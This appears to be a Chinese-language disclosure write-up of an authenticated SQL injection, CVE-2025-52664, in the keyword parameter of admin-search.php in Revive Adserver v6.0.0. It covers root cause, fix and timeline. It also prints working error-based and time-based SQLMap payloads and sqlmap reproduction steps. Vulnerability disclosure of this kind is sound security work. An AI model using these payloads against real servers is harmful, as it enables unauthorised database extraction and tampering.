Revive Adserver SQL注入漏洞分析:基于错误和时间的数据库攻击

本文详细分析了Revive Adserver v6.0.0中存在的SQL注入漏洞,攻击者可通过admin-search.php文件的keyword参数实施基于错误和时间的SQL注入攻击,获取完整数据库访问权限,包含技术细节和修复方案。

Revive Adserver SQL注入漏洞分析报告

漏洞概述

在Revive Adserver的管理搜索功能中发现了一个严重的SQL注入漏洞,具体位于admin-search.php文件中。该漏洞存在于keyword GET参数的处理过程中,该参数在未经过适当清理或参数化的情况下被传递给多个数据库查询。

技术细节

漏洞根源

漏洞源于使用phpAds_registerGlobalUnslashed()函数注册用户输入变量(包括keyword),而未进行适当的转义:

1
phpAds_registerGlobalUnslashed('keyword', 'client', 'campaign', 'banner', 'zone', 'affiliate', 'compact');

随后,这些用户控制的输入被直接传递给多个数据库查询函数:

1
2
3
4
5
$rsClients = $dalClients->getClientByKeyword($keyword, $agencyId);
$rsCampaigns = $dalCampaigns->getCampaignAndClientByKeyword($keyword, $agencyId);
$rsBanners = $dalBanners->getBannerByKeyword($keyword, $agencyId);
$rsAffiliates = $dalAffiliates->getAffiliateByKeyword($keyword, $agencyId);
$rsZones = $dalZones->getZoneByKeyword($keyword, $agencyId);

漏洞验证

通过SQLMap测试确认存在两种不同的SQL注入漏洞:

  1. 基于错误的注入(使用MySQL的EXTRACTVALUE函数):
1
Payload: keyword=FUZZ') AND EXTRACTVALUE(8429,CONCAT(0x5c,0x716a7a6a71,(SELECT (ELT(8429=8429,1))),0x7178787871))-- Nqvq&compact=t
  1. 基于时间的盲注(使用MySQL的SLEEP函数):
1
Payload: keyword=FUZZ') AND (SELECT 3790 FROM (SELECT(SLEEP(5)))yGYJ)-- YFDA&compact=t

复现步骤

  1. 打开Burp Suite并使用其内置浏览器
  2. 访问以下请求:http://localhost/www/admin/admin-search.php?keyword=FUZZ&compact=t
  3. 使用Burp Suite捕获请求
  4. 使用nano testsql.txt将请求保存到文本文件
  5. 运行以下命令:sqlmap -r testsql.txt --dbs

影响范围

该漏洞允许经过身份验证的攻击者:

  • 从数据库中提取敏感信息
  • 修改或删除数据库内容
  • 可能在数据库服务器上执行特权命令
  • 通过数据泄露可能升级到更严重的攻击向量

根本原因

根本原因是输入验证不当以及缺乏预处理语句或参数化查询。应用程序直接将用户控制的输入纳入SQL查询,而没有足够的清理或转义机制。

修复方案

开发团队提供了修复补丁,确认该漏洞实际上存在于未维护的PEAR MDB2包中的matchPattern功能中,该功能以错误的顺序应用不同类型的转义,导致字符串转义不当。

修复后的版本v6.0.1已发布,并分配了CVE-ID:CVE-2025-52664。

时间线

  • 2025年10月22日:漏洞报告提交
  • 2025年10月23日:漏洞确认并发布修复补丁
  • 2025年10月24日:报告公开披露

该漏洞的严重性评级从关键(9.8)调整为高(8.8),因为攻击者需要管理器用户访问权限才能提交有效载荷。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计